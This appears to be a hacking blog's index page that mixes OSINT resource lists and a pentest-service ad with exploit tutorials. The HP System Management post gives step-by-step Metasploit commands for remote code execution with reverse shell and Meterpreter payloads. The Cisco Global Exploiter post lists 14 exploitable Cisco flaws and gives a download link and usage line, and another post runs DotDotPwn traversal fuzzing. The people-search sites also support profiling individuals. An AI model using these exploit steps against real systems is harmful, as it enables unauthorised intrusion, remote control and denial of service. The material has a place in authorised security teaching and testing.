KNOX D3

Open source Information Gathering tool-Maltgo

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="margin-bottom: 0in;"><span style="font-size: small;">Maltego is an open source intelligence and forensics application. It allows you to  mine and gather information, and represent the information in a meaningful way. The word "open source" in Maltego means that it gathers information from the open source resources; it does not mean that Maltego is open source software. </span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-size: small;">Maltego allows you to enumerate Internet infrastructure information, such as: </span></div><div style="margin-bottom: 0in;">•<span style="font-size: small;">	 Domain names </span></div><div style="margin-bottom: 0in;">•<span style="font-size: small;">	 DNS names </span></div><div style="margin-bottom: 0in;">•<span style="font-size: small;">	 Whois information </span></div><div style="margin-bottom: 0in;">•<span style="font-size: small;">	 Network blocks </span></div><div style="margin-bottom: 0in;">•<span style="font-size: small;">	 IP addresses </span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-size: small;">It can also be used to gather information about people, such as: </span></div><div style="margin-bottom: 0in;">•<span style="font-size: small;">	 Companies and organizations related to the person </span></div><div style="margin-bottom: 0in;">•<span style="font-size: small;">	 E-mail address related to the person </span></div><div style="margin-bottom: 0in;">•<span style="font-size: small;">	 Websites related to the person </span></div><div style="margin-bottom: 0in;">•<span style="font-size: small;">	 Social networks related to the person </span></div><div style="margin-bottom: 0in;">•<span style="font-size: small;">	 Phone numbers related to the person </span></div><div style="margin-bottom: 0in;"><span style="font-size: small;">There are more than 70 transforms available in Maltego. The word "transform" refers to the information gathering phase done by Maltego. </span><br /><span style="font-size: small;"> </span></div><div style="margin-bottom: 0in;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgBRKvAhPMMbInYLRYKVd_3LjNX1KRvjDMLGxYuTqDiKWoj7OEhtrEZfmoyeaOCCXJdTo_YGWaNHqCwrVw6UiyFhfg1cImlOJeqUfJf-CRAVwrjRjfjPzkO8yQLkHKAjGm5FMM97c1ZYb5/s1600/maltego.jpeg" imageanchor="1"><img alt="Maltego-example" border="0" height="379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgBRKvAhPMMbInYLRYKVd_3LjNX1KRvjDMLGxYuTqDiKWoj7OEhtrEZfmoyeaOCCXJdTo_YGWaNHqCwrVw6UiyFhfg1cImlOJeqUfJf-CRAVwrjRjfjPzkO8yQLkHKAjGm5FMM97c1ZYb5/s640/maltego.jpeg" title="Maltego-example" width="640" /></a></div></div><div style="margin-bottom: 0in;"><br /><a name="more"></a></div></div>

Open source Information Gathering tool-Maltgo

Maltego is an open source intelligence and forensics application. It allows you to mine and gather information, and represent the informati...

+ Read more »

Information Gathering using Public Resources

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div style="margin-bottom: 0in;">On the Internet, there are several public resources that can be used to collect </div><div style="margin-bottom: 0in;">information regarding a target domain. The benefit of using these resources is that we don't generate network traffic to the target domain directly, so the target domain may not know about our activities. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;">Following are the resources that can be use </div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;">(1)http://www.archive.org 		:-Contains an archive of websites. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;">(2)http://www.domaintools.com:-Domain name intelligence. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;">(3)http://serversniff.net:-Free "Swiss Army Knife" for networking, </div><div style="margin-bottom: 0in;">serverchecks, and routing </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;">(4)http://centralops.net:-Free online network utilities: domain, e-mail, </div><div style="margin-bottom: 0in;">browser, ping, traceroute, Whois, and so on. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;">(5)http://www.robtex.com:- 		Allows you to search for domain and network </div><div style="margin-bottom: 0in;">information. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;">(6)http://www.pipl.com:-Allows you to search people on the Internet by first </div><div style="margin-bottom: 0in;">and last name, city, state, and country. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;">(7)http://yoname.com 			:-Allows you to search for people across social </div><div style="margin-bottom: 0in;">networking sites and blogs. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;">(8)http://wink.com:-Free search engine to find people by name, phone </div><div style="margin-bottom: 0in;">number, e-mail, website, photo, and so on. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;">(9)http://www.isearch.com:- 		Free search engine to find people by name, phone </div><div style="margin-bottom: 0in;">number, and e-mail address. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;">(10)http://www.tineye.com:- 		TinEye is a reverse image search engine. We can use </div><div style="margin-bottom: 0in;">TinEye to find out where the image came from, how it is being used, if modified versions of the image exist, or to find higher resolution versions. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;">(11)http://www.sec.gov/edgar.shtml :-	To search for information regarding public listed companies in Securities and Exchange Commission.  </div><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;"></div></div>

Information Gathering using Public Resources

On the Internet, there are several public resources that can be used to collect information regarding a target domain. The benefit of using ...

+ Read more »

Launching Our Penetration Testing Services

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><img class="entry-image" height="224" src="http://services.rafayhackingarticles.net/img/got-hacked-rha.jpg" style="background-color: white; border: 0px; display: block; font-family: 'Lucida Sans Unicode', 'Lucida Grande', sans-serif; font-size: 11.111111640930176px; line-height: 20px; margin: 0px auto 25px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;" width="570" /></div>For past couple of months there has been a significant increase in the freelance security testing projects we were doing here at RHA. However, we never officially documented our testing services and a single post defining our services was not enough to reach to a wider audience. Therefore i thought to launch my own Penetration testing/Security testing company and we have named it "<b><a href="http://services.rafayhackingarticles.net/" target="_blank">RHA InfoSec</a></b>".<br /><br /><a name="more"></a></div><div class="separator" style="clear: both; text-align: center;"><a href="http://services.rafayhackingarticles.net/" target="_blank"><img border="0" height="72" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVNWhr18x4S76ZHDz-YDN7CwAy3XWw0xbvOgw7Mcjm6_QLrCd6diYN81N66qJXmpXtQ2KvX2mWfdkcwCap6R1aAmbJNdBGSCitydLfrsd10x3CyT8mXCyd2o95PLvvwPmbyFboLvHgOW4/s640/Untitled.png" width="577" /></a></div><h4>What We Are offering?</h4><div>We are offering wide range of security testing services, however our major focus would on on the following ones:<br /><br /></div><div><b>1) </b>CMS Security Testing</div><div><b>2) </b>Server Security Testing</div><div><b>3) </b>Network Security Testing</div><div><b>4) </b>Source Code Analysis</div><div><b>5) </b>Denial of service testing. </div></div><h4>WebApplication Penetration Testing</h4>We here at RHA InfoSec are a fan of OWASP methodology, because we believe that it covers almost everything. OWASP testing methodology is recognized and is widely accepted around the globe. Here are contents of OWASP Testing Methodology. <br /><h4>Network Penetration Testing</h4>Networks Pentests are one of the most difficult ones to perform and requires a lot of expertise as networks can be very complex, With the advent of firewall, IDS and IPS. Network Pentesting can be some times very difficult. At RHA Infosec we can perform both Internal and external network Penetration testing on the most complex environments.  <br /><h4>CMS Testing</h4>We here at RHA InfoSec specialize in CMS security, we look for vulnerable plugins, and Flash based files and other common Vulnerabilities on your website according to OWASP Standards. In the end we would deliver you a report of the findings Based upon the priorities and the risk, along with it we also write the countermeasures that you need to take in order to eliminate the vulnerabilities.  <b><br /></b><br /><h4>Got Hacked?</h4>If you have got your website defaced or hacked and looking for a prompt response, we have created an emergency page dedicated to our customers who have got their website hacked and looking for an immediate review on their website.<br /><br />Our emergency page is located <a href="http://services.rafayhackingarticles.net/911.html" target="_blank">here</a>.</div><h4>Your Feedback</h4><div>RHA wouldn't had grown as much as it's today, if you people didn't motivate me, I want to hear your feedback regarding our newly launched company. Suggestions/critics are welcomed in order to improve our website.<br /><br /><b>P.S</b> I would like to specially thank our blog reader "<b>Muhammad Gazzaly</b>" for designing our services site. </div></div>

Launching Our Penetration Testing Services

For past couple of months there has been a significant increase in the freelance security testing projects we were doing here at RHA. Howeve...

+ Read more »

Exploit for Java version 7u21 and earlier

Exploit for Java version 7u21 and earlier

Java Applet ProviderSkeleton Insecure Invoke Method:- This module abuses the insecure invoke() method of the ProviderSkeleton class that all...

+ Read more »

How to exploit Directory traversal vulnerability?

<div dir="ltr" style="text-align: left;" trbidi="on"><span style="font-family: inherit;">Backtrack has lots of tools for web-application testing. Directory traversal is one of the critical vulnerability in web-application. Previously i post about <a href="http://tipstrickshack.blogspot.com/2013/02/how-to-bypassing-filter-to-traversal_8831.html" target="_blank">what is directory traversal & how to bypass its filter</a> , but that process is manual, it can consume lots of time.But in bactrack automatic tools are available for this test which is DOTDOTPWN.<br /><br />If you are on other distro , then you can download it form <a href="http://dotdotpwn.blogspot.com/" target="_blank">here</a>.<br /><br />It's a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers, Web platforms such as CMSs, ERPs, Blogs, etc. <br /><br />Also, it has a protocol-independent module to send the desired payload to the host and port specified. On the other hand, it also could be used in a scripting way using the STDOUT module.<br /><br />It's written in perl programming language and can be run either under *NIX or Windows platforms. It's the first Mexican tool included in BackTrack Linux .</span><br /><span style="font-family: inherit;"><br /></span><br /><h3 style="text-align: left;"><span style="font-family: inherit;">Fuzzing modules supported in this version: </span></h3><div style="text-align: left;"></div><span style="font-family: inherit;"><br />- HTTP<br /><br />- HTTP URL<br /><br />- FTP<br /><br />- TFTP<br /><br />- Payload (Protocol independent)<br /><br />- STDOUT</span><br /><a name="more"></a><br /><span style="font-family: inherit;">./dotdotpwn.pl -m  http-url -S -u https://localhost/mutillidae/index.php?page=TRAVERSAL -k root -o unix</span><span style="font-family: inherit;">    </span><br /><div class="separator" style="clear: both; text-align: center;"><span style="font-family: inherit;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBGsz8liuK3ExRPc9ZN4PzEC5qECzl4QCBqPvrtTXqSU9cGDNFwNb657ne-lzSidwu5Pn1WLgdOjBR1QNNZNGlUCf2UtnGnmClBsWwK-LPXStBWh5S5GL3RezcUHywqvU2_Hc8GM9oK7Cj/s1600/Path-traversal.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="path-traversal" border="0" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBGsz8liuK3ExRPc9ZN4PzEC5qECzl4QCBqPvrtTXqSU9cGDNFwNb657ne-lzSidwu5Pn1WLgdOjBR1QNNZNGlUCf2UtnGnmClBsWwK-LPXStBWh5S5GL3RezcUHywqvU2_Hc8GM9oK7Cj/s320/Path-traversal.PNG" title="path-traversal" width="320" /></a></span></div><span style="font-family: inherit;"><br /></span><span style="font-family: inherit;">In below figure; you can see vulnerable URL where directory traversal is applicable.</span><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicV10V1i-Wo9atneHCv0BoOXRZs-qVygjFKu-JfD51mowuio_T67lTvCg3CnzX5igq2yaGcw9u-a3UazKP8OuMkgOf68gSCGVIutO3hkGDjOaDUXQsFu6srr-pPnHRifSKF66Wy7VLBf8F/s1600/path-traversal-2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="path-traversal" border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicV10V1i-Wo9atneHCv0BoOXRZs-qVygjFKu-JfD51mowuio_T67lTvCg3CnzX5igq2yaGcw9u-a3UazKP8OuMkgOf68gSCGVIutO3hkGDjOaDUXQsFu6srr-pPnHRifSKF66Wy7VLBf8F/s320/path-traversal-2.PNG" title="path-traversal" width="320" /></a></div></div>

How to exploit Directory traversal vulnerability?

Backtrack has lots of tools for web-application testing. Directory traversal is one of the critical vulnerability in web-application. Previo...

+ Read more »

Exploit HP sytem managment

<div dir="ltr" style="text-align: left;" trbidi="on"> There are two modules available for exploitation of hp system management.<br /><br /><b>(1)HP System Management Anonymous Access Code Execution</b><br /><br />This module exploits an anonymous remote code execution on HP System Management 7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on a request against /proxy/DataValidation. In order to work HP System Management must be configured with Anonymous access enabled.<br /><br /><br />Exploit Targets<br /><br />    0 - HP System Management 7.1.1 - Linux (CentOS) (default)<br />    1 - HP System Management 6.3.0 - Linux (CentOS)<br /><br />msfconsole<br />msf > use exploit/linux/http/hp_system_management<br />msf exploit(hp_system_management) > show payloads<br />msf exploit(hp_system_management) > set PAYLOAD generic/shell_reverse_tcp<br />msf exploit(hp_system_management) > set LHOST [MY IP ADDRESS]<br />msf exploit(hp_system_management) > set RHOST [TARGET IP]<br />msf exploit(hp_system_management) > exploit<br /><br /><b>(2)HP System Management Homepage JustGetSNMPQueue Command Injection</b><br /><br />This module exploits a vulnerability found in HP System Management Homepage. By supplying a specially crafted HTTP request, it is possible to control the 'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc), which will be used in a exec() function. This results in arbitrary code execution under the context of SYSTEM<br /><br />Exploit Targets<br /><br />    0 - Windows (default)<br /><br />msfconsole<br />msf > use exploit/windows/http/hp_sys_mgmt_exec<br />msf exploit(hp_sys_mgmt_exec) > show payloads<br />msf exploit(hp_sys_mgmt_exec) > set PAYLOAD windows/meterpreter/reverse_tcp<br />msf exploit(hp_sys_mgmt_exec) > set LHOST [MY IP ADDRESS]<br />msf exploit(hp_sys_mgmt_exec) > set RHOST [TARGET IP]<br />msf exploit(hp_sys_mgmt_exec) > exploit<br /><a name="more"></a></div>

Exploit HP sytem managment

There are two modules available for exploitation of hp system management. (1)HP System Management Anonymous Access Code Execution This modu...

+ Read more »

CIsco Global Exploter

<div dir="ltr" style="text-align: left;" trbidi="on">Cisco Global Exploiter (CGE), is an advanced, simple and fast          security testing tool/ exploit engine, that is able to exploit 14          vulnerabilities in disparate Cisco switches and routers.  CGE is          command-line driven perl script which has a simple and easy to use          front-end.<br /><br />Vulnerabilities list :<br />[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability<br />[2] - Cisco IOS Router Denial of Service Vulnerability<br />[3] - Cisco IOS HTTP Auth Vulnerability<br />[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability<br />[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability<br />[6] - Cisco 675 Web Administration Denial of Service Vulnerability<br />[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability<br />[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability<br />[9] - Cisco 514 UDP Flood Denial of Service Vulnerability<br />[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability<br />[11] - Cisco Catalyst Memory Leak Vulnerability<br />[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability<br />[13] - 0 Encoding IDS Bypass Vulnerability (UTF)<br />[14] - Cisco IOS HTTP Denial of Service Vulnerability<br /><br />Download from <a href="http://www.4shared.com/file/qbFGseyn/cge.html" target="_blank">here</a><br /><br />Use:-<br /><br />perl cge.pl <target> <vulnerability number> </div>

CIsco Global Exploter

Cisco Global Exploiter (CGE), is an advanced, simple and fast security testing tool/ exploit engine, that is able to exploit 14 ...

+ Read more »